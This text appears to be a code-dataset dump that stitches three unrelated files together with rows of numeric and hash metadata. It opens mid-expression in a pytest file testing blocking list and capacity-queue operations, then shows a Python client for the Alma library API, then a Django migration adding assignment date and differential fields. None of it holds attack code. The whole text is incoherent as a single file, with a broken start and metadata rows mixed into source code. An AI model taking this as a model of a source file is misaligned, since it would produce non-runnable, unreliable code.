'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
del_name),
'params_1': ((1,), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# slice index
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
del_name),
'params_1': ((slice(1, 3),), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - extend, iadd, c_extend
for extend_name in (csmlseq.__iadd__.__name__, csmlseq.extend.__name__, csmlseq.c_extend.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=(csmlseq,
extend_name),
params=(((1, 2, "sadf"),), {}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - append, c_append
for append_name in (csmlseq.append.__name__, csmlseq.c_append.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
append_name),
'params_1': ((3342,), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - clear
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.clear.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - insert
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.insert.__name__),
'params_1': ((1, "sadf"), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - pop
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.pop.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata[-1],), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - remove
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.remove.__name__),
'params_1': ((csmlseq[1],), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
# test blocking - remove
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
csmlseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_insert.__name__),
'params_1': ((1, (2, 4, "sdf")), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmlseq[0:] = fix_init_csmseqdata
fix_exec.c_join()
QUEUE_CAP: Final[int] = 10
FILL_ELEM: Final[str] = "ABCDEFGASDASDLSLSLSLSLALAEIOIQEGBASKFJBAKDLGJBAKDJBFAKLSD"
def __c_fill_capqueue(queue: csdata.Pr.CSCapacityQueue[Any],
full_timeout: Optional[float] = None) -> None:
assert queue.c_capacity() == QUEUE_CAP
assert queue.qsize() <= QUEUE_CAP
for _ in range(QUEUE_CAP - queue.qsize()):
queue.c_put(item=FILL_ELEM)
assert queue.qsize() == QUEUE_CAP
with pytest.raises(Full):
queue.c_put(item=FILL_ELEM,
blocking=False)
if full_timeout is not None:
with pytest.raises(Full):
queue.c_put(item=FILL_ELEM,
blocking=True,
timeout=full_timeout)
def __c_empty_capqueue(queue: csdata.Pr.CSCapacityQueue[TYPE],
empty_timeout: Optional[float] = None) -> None:
assert queue.c_capacity() == QUEUE_CAP
assert queue.qsize() <= QUEUE_CAP
for _ in range(queue.qsize()):
queue.c_get()
assert queue.qsize() == 0
with pytest.raises(Empty):
queue.c_get(blocking=False)
if empty_timeout is not None:
with pytest.raises(Empty):
queue.c_get(blocking=True,
timeout=empty_timeout)
def __c_put_all_in_capqueue(queue: csdata.Pr.CSCapacityQueue[Any],
items: con.Pr.Sequence[Any]) -> None:
assert c_assert_not_none(queue.c_capacity()) - queue.qsize() >= len(items)
for item in items:
queue.c_put(item=item)
def __c_compare_all_in_capqueue(queue: csdata.Pr.CSCapacityQueue[Any],
items: con.Pr.Sequence[Any]) -> None:
assert queue.qsize() == len(items)
for i in range(queue.qsize()):
assert items[i] == queue.c_get()
assert queue.empty()
# noinspection PyArgumentList
def test_cscapacityqueue(fix_csl: cs.En.CSL,
fix_init_queue: con.Pr.SizedIterable[Any],
fix_manager: Optional[mp_mngr.SyncManager],
fix_cscapacityqueue_factory: Callable[[cs.En.CSL,
con.Pr.SizedIterable[TYPE],
Optional[int],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSCapacityQueue[TYPE]],
fix_exec: execs.Im.Exec) -> None:
fix_init_queue = con.Ca.c_to_seq(obj=fix_init_queue)
assert len(fix_init_queue) <= QUEUE_CAP
cs_cap_queue: Final[csdata.Pr.CSCapacityQueue[Any]] = fix_cscapacityqueue_factory(
fix_csl,
fix_init_queue,
QUEUE_CAP,
fix_manager
)
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (cs_cap_queue,
cs_cap_queue.qsize.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': len(fix_init_queue)})
}),
'max_check_count': 1
}),
join=True),
execs.Im.ExecDelayedParams(
func_or_obj_func=__c_fill_capqueue,
params=((), {
'queue': cs_cap_queue,
'full_timeout': 4.0
}),
join=True,
min_sec=4.0,
max_sec=7.0)
],
manager=fix_manager,
_min_sec=4.0,
_max_sec=7.0)
assert cs_cap_queue.full()
assert cs_cap_queue.qsize() == QUEUE_CAP == cs_cap_queue.c_capacity()
if fix_csl > cs.En.CSL.SINGLE_THREAD:
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecDelayedParams(
func_or_obj_func=(cs_cap_queue,
cs_cap_queue.c_get.__name__),
params=None,
join=False,
in_delay=4.0),
execs.Im.ExecDelayedParams(
func_or_obj_func=(cs_cap_queue,
cs_cap_queue.c_put.__name__),
params=((), {
'item': FILL_ELEM
}),
join=True,
min_sec=3.0,
max_sec=5.0)
],
manager=fix_manager,
_min_sec=3.0,
_max_sec=5.0)
assert cs_cap_queue.full()
assert cs_cap_queue.qsize() == QUEUE_CAP == cs_cap_queue.c_capacity()
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecDelayedParams(
func_or_obj_func=__c_empty_capqueue,
params=((), {
'queue': cs_cap_queue,
'empty_timeout': 4.0
}),
join=True,
min_sec=4.0,
max_sec=7.0)
],
manager=fix_manager,
_min_sec=4.0,
_max_sec=7.0)
assert cs_cap_queue.empty()
assert cs_cap_queue.qsize() == 0
if fix_csl > cs.En.CSL.SINGLE_THREAD:
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecDelayedParams(
func_or_obj_func=(cs_cap_queue,
cs_cap_queue.c_put.__name__),
params=((), {
'item': FILL_ELEM
}),
join=False,
in_delay=4.0),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (cs_cap_queue,
cs_cap_queue.c_get.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': FILL_ELEM
})
}),
'max_check_count': 1
}),
join=True,
min_sec=3.0,
max_sec=5.0)
],
manager=fix_manager,
_min_sec=3.0,
_max_sec=5.0)
assert cs_cap_queue.empty()
assert cs_cap_queue.qsize() == 0
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=__c_put_all_in_capqueue,
params=((), {
'queue': cs_cap_queue,
'items': fix_init_queue
}),
join=True),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (cs_cap_queue,
cs_cap_queue.qsize.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': len(fix_init_queue)})
}),
'max_check_count': 1
}),
join=True),
execs.Im.ExecParams(
func_or_obj_func=__c_compare_all_in_capqueue,
params=((), {
'queue': cs_cap_queue,
'items': fix_init_queue
}),
join=True),
],
manager=fix_manager)
fix_exec.c_join()
# noinspection PyArgumentList
def test_cschunkcapacityqueue(
fix_csl: cs.En.CSL,
fix_manager: Optional[mp_mngr.SyncManager],
fix_cschunkcapacityqueue_factory: Callable[[cs.En.CSL,
con.Pr.SizedIterable[Any],
Optional[int],
Optional[int],
Optional[int],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSCapacityQueue[Any]],
fix_exec: execs.Im.Exec) -> None:
cs_cap_queue: csdata.Pr.CSCapacityQueue[Any]
with pytest.raises(ValueError):
fix_cschunkcapacityqueue_factory(
fix_csl,
(),
QUEUE_CAP,
-1,
None,
fix_manager)
with pytest.raises(ValueError):
fix_cschunkcapacityqueue_factory(
fix_csl,
(),
QUEUE_CAP,
0,
-22,
fix_manager)
with pytest.raises(ValueError):
fix_cschunkcapacityqueue_factory(
fix_csl,
(),
QUEUE_CAP,
22,
21,
fix_manager)
cs_cap_queue = fix_cschunkcapacityqueue_factory(
fix_csl,
cast(con.Pr.SizedIterable[Any], ()),
QUEUE_CAP,
4,
4,
fix_manager)
with pytest.raises(ValueError):
cs_cap_queue.c_put(item=(3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.put((3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.put_nowait((3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.c_put(item=(3, 4, 5, 5, 6))
with pytest.raises(ValueError):
cs_cap_queue.put((3, 4, 5, 5, 6))
with pytest.raises(ValueError):
cs_cap_queue.put_nowait((3, 4, 5, 5, 6))
cs_cap_queue.c_put((3, 4, 5, 5))
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (cs_cap_queue,
cs_cap_queue.c_get.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': (3, 4, 5, 5)
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager)
cs_cap_queue = fix_cschunkcapacityqueue_factory(
fix_csl,
(),
QUEUE_CAP,
4,
6,
fix_manager)
with pytest.raises(ValueError):
cs_cap_queue.c_put(item=(3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.put((3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.put_nowait((3, 4, 5))
with pytest.raises(ValueError):
cs_cap_queue.c_put(item=(3, 4, 5, 5, 6, 5, 6))
with pytest.raises(ValueError):
cs_cap_queue.put((3, 4, 5, 5, 6, 5, 6))
with pytest.raises(ValueError):
cs_cap_queue.put_nowait((3, 4, 5, 5, 6, 5, 6))
cs_cap_queue.c_put((3, 4, 5, 5))
execs.Ca.c_exec_multiple(csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (cs_cap_queue,
cs_cap_queue.c_get.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': (3, 4, 5, 5)
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager)
fix_exec.c_join()
| 42.72606 | 118 | 0.327201 | 12,764 | 179,364 | 4.164447 | 0.018803 | 0.030025 | 0.030816 | 0.044511 | 0.955658 | 0.941925 | 0.935848 | 0.925388 | 0.917675 | 0.908607 | 0 | 0.018559 | 0.57792 | 179,364 | 4,197 | 119 | 42.73624 | 0.683565 | 0.007744 | 0 | 0.914991 | 0 | 0 | 0.065575 | 0.00032 | 0 | 0 | 0 | 0 | 0.006872 | 1 | 0.005599 | false | 0 | 0.0028 | 0.001273 | 0.010944 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fb5669294d062d35bf0b2ad4f79549ec852a8ebf | 4,527 | py | Python | alma_api/__init__.py | JonkopingUniversityLibrary/almaapi | 40f43e54fdc1406e2222331e8be88228246a3bb9 | [
"MIT"
] | 1 | 2020-02-07T03:26:50.000Z | 2020-02-07T03:26:50.000Z | alma_api/__init__.py | JonkopingUniversityLibrary/almaapi | 40f43e54fdc1406e2222331e8be88228246a3bb9 | [
"MIT"
] | null | null | null | alma_api/__init__.py | JonkopingUniversityLibrary/almaapi | 40f43e54fdc1406e2222331e8be88228246a3bb9 | [
"MIT"
] | null | null | null | import httplib2 as http
import xml.etree.ElementTree as ElementTree
import json
class AlmaAPIException(Exception):
"""Custom docstring"""
class AlmaAPI:
def __init__(self, api, api_key):
self.api_url = 'https://api-eu.hosted.exlibrisgroup.com/almaws/v1/' + api + '/'
self.api_key = '?apikey=' + api_key
def get(self, *, request=False, query_params=None):
if request is False:
return False
__query_params__ = ''
if query_params is not None:
for key, value in query_params.items():
__query_params__ += '&' + key + '=' + value
url = self.api_url + request + self.api_key + __query_params__
try:
(response, content) = http.Http().request(url)
except TimeoutError as e:
raise AlmaAPIException('GET - ' + str(e))
try:
if response.status != 200:
if query_params['format'] == 'json':
error_data = json.loads(content)
try:
error_message = error_data['errorList']['error'][0]['errorMessage']
except KeyError as e:
error_message = 'Unknown Error'
raise AlmaAPIException('GET - ' + str(response.status) + ' - ' + error_message)
else:
root = ElementTree.ElementTree(ElementTree.fromstring(content)).getroot()
error_message = root[1][0][1].text
raise AlmaAPIException('GET - ' + str(response.status) + ' - ' + error_message)
except ElementTree.ParseError as e:
raise AlmaAPIException('GET - ' + str(e))
return content.decode('utf8')
def put(self, *, request=False, body=False, query_params=None, content_type='application/xml'):
if request is False or body is False:
return False
__query_params__ = ''
if query_params is not None:
for key, value in query_params.items():
__query_params__ += '&' + key + '=' + value
url = self.api_url + request + self.api_key + __query_params__
headers = {'Content-type': content_type}
try:
(response, content) = http.Http().request(url, 'PUT', headers=headers, body=body)
except TimeoutError as e:
raise AlmaAPIException('PUT - ' + str(e))
if response.status != 200:
if query_params['format'] == 'json':
error_data = json.loads(content)
try:
error_message = error_data['errorList']['error'][0]['errorMessage']
except KeyError as e:
error_message = 'Unknown Error'
raise AlmaAPIException('PUT - ' + str(response.status) + ' - ' + error_message)
else:
root = ElementTree.ElementTree(ElementTree.fromstring(content)).getroot()
error_message = root[1][0][1].text
raise AlmaAPIException('PUT - ' + str(response.status) + ' - ' + error_message)
return content.decode('utf8')
def post(self, *, request=False, body=False, query_params=None, content_type='application/xml'):
if request is False or body is False:
return False
__query_params__ = ''
if query_params is not None:
for key, value in query_params.items():
__query_params__ += '&' + key + '=' + value
url = self.api_url + request + self.api_key + __query_params__
headers = {'Content-type': content_type}
try:
(response, content) = http.Http().request(url, 'POST', headers=headers, body=body)
except TimeoutError as e:
raise AlmaAPIException('POST - ' + str(e))
if response.status != 200:
if query_params['format'] == 'json':
error_data = json.loads(content)
try:
error_message = error_data['errorList']['error'][0]['errorMessage']
except KeyError as e:
error_message = 'Unknown Error'
raise AlmaAPIException('POST - ' + str(response.status) + ' - ' + error_message)
else:
root = ElementTree.ElementTree(ElementTree.fromstring(content)).getroot()
error_message = root[1][0][1].text
raise AlmaAPIException('POST - ' + str(response.status) + ' - ' + error_message)
return content.decode('utf8')
| 40.061947 | 100 | 0.557765 | 469 | 4,527 | 5.179104 | 0.166311 | 0.095101 | 0.039522 | 0.054343 | 0.869494 | 0.857555 | 0.850144 | 0.809798 | 0.789625 | 0.746809 | 0 | 0.008508 | 0.324939 | 4,527 | 112 | 101 | 40.419643 | 0.786322 | 0.003534 | 0 | 0.795455 | 0 | 0 | 0.081243 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.034091 | 0 | 0.170455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fb76a1e850f3866efdffdbab40e5b2481bba9f12 | 2,293 | py | Python | talentmap_api/position/migrations/0006_auto_20180111_1740.py | burgwyn/State-TalentMAP-API | 1f4f3659c5743ebfd558cd87af381f5460f284b3 | [
"CC0-1.0"
] | 5 | 2018-08-09T18:51:12.000Z | 2021-11-08T10:28:17.000Z | talentmap_api/position/migrations/0006_auto_20180111_1740.py | burgwyn/State-TalentMAP-API | 1f4f3659c5743ebfd558cd87af381f5460f284b3 | [
"CC0-1.0"
] | 232 | 2017-06-16T02:09:54.000Z | 2018-05-10T16:15:48.000Z | talentmap_api/position/migrations/0006_auto_20180111_1740.py | burgwyn/State-TalentMAP-API | 1f4f3659c5743ebfd558cd87af381f5460f284b3 | [
"CC0-1.0"
] | 4 | 2018-06-13T14:49:27.000Z | 2021-06-30T22:29:15.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-01-11 17:40
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('position', '0005_auto_20180110_1917'),
]
operations = [
migrations.AddField(
model_name='assignment',
name='arrival_date',
field=models.DateTimeField(help_text='The date the incumbent arrived at the position', null=True),
),
migrations.AddField(
model_name='assignment',
name='bid_approval_date',
field=models.DateTimeField(default='1975-01-01T00:00:00Z', help_text='The date the bid for this assignment was approved'),
preserve_default=False,
),
migrations.AddField(
model_name='assignment',
name='combined_differential',
field=models.IntegerField(default=0, help_text='The combined differential (danger pay and differential) for this assignment'),
),
migrations.AddField(
model_name='assignment',
name='domestic',
field=models.BooleanField(default=False, help_text='Indicates if this position is domestic'),
),
migrations.AddField(
model_name='historicalassignment',
name='arrival_date',
field=models.DateTimeField(help_text='The date the incumbent arrived at the position', null=True),
),
migrations.AddField(
model_name='historicalassignment',
name='bid_approval_date',
field=models.DateTimeField(default='1975-01-01T00:00:00Z', help_text='The date the bid for this assignment was approved'),
preserve_default=False,
),
migrations.AddField(
model_name='historicalassignment',
name='combined_differential',
field=models.IntegerField(default=0, help_text='The combined differential (danger pay and differential) for this assignment'),
),
migrations.AddField(
model_name='historicalassignment',
name='domestic',
field=models.BooleanField(default=False, help_text='Indicates if this position is domestic'),
),
]
| 39.534483 | 138 | 0.632795 | 237 | 2,293 | 5.978903 | 0.308017 | 0.101623 | 0.129852 | 0.152435 | 0.863797 | 0.863797 | 0.741002 | 0.741002 | 0.741002 | 0.741002 | 0 | 0.037455 | 0.266463 | 2,293 | 57 | 139 | 40.22807 | 0.804994 | 0.029655 | 0 | 0.84 | 1 | 0 | 0.325383 | 0.029253 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
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